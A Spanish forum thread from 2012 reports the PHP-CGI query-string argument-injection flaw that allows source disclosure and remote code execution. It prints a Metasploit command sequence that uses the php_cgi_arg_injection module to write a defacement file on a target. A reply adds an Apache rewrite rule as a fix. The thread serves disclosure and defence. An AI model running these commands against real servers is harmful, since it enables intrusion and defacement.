Grave vulnerabilidad en PHP-CGI permite ejecutar código remoto en Apache

Iniciado por Stiuvert, Mayo 07, 2012, 03:54:06 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Las sitios afectados son servidores web con PHP ejecutándose como CGI.

Eindbazen, un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo añadiendo la cadena '?-s'.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Como resultado de la inyección de estos parámetros en la URL, se puede mostrar el contenido de archivos de código fuente (que puede incluir información confidencial como, por ejemplo, contraseñas de BBDD) o ejecutar código PHP arbitrario.


Aunque el parámetro '-r', para ejecutar código PHP, es filtrado en php5-cgi, dependiendo de las variables de entorno, esta medida de seguridad puede evitarse. PHP eliminó por error el código que protegía ante este problema en 2004.



Ya existen módulos para Metasploit (use exploit/multi/http/php_cgi_arg_injection):


Código: php
[code]$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf  exploit(php_cgi_arg_injection) > set RHOST 192.168.178.210
msf  exploit(php_cgi_arg_injection) > set TARGETURI /phpinfo.php
msf  exploit(php_cgi_arg_injection) > set PAYLOAD php/exec
msf  exploit(php_cgi_arg_injection) > set CMD echo \"owned\">/var/www/html/owned.html
msf  exploit(php_cgi_arg_injection) > exploit
[/code]

Vídeo demostrativo:





Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vídeo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Mayo 22, 2012, 03:50:32 PM #1 Ultima modificación: Mayo 22, 2012, 03:58:10 PM por andresg888
Agrego un fix al problema: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

También es posible crear reglas de rewrite para que cuando reciban los parámetros mencionados en el post de Stiuvert redirija o ejecute alguna acción.

Ejemplo de fix con rewrite:

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]

Saludos,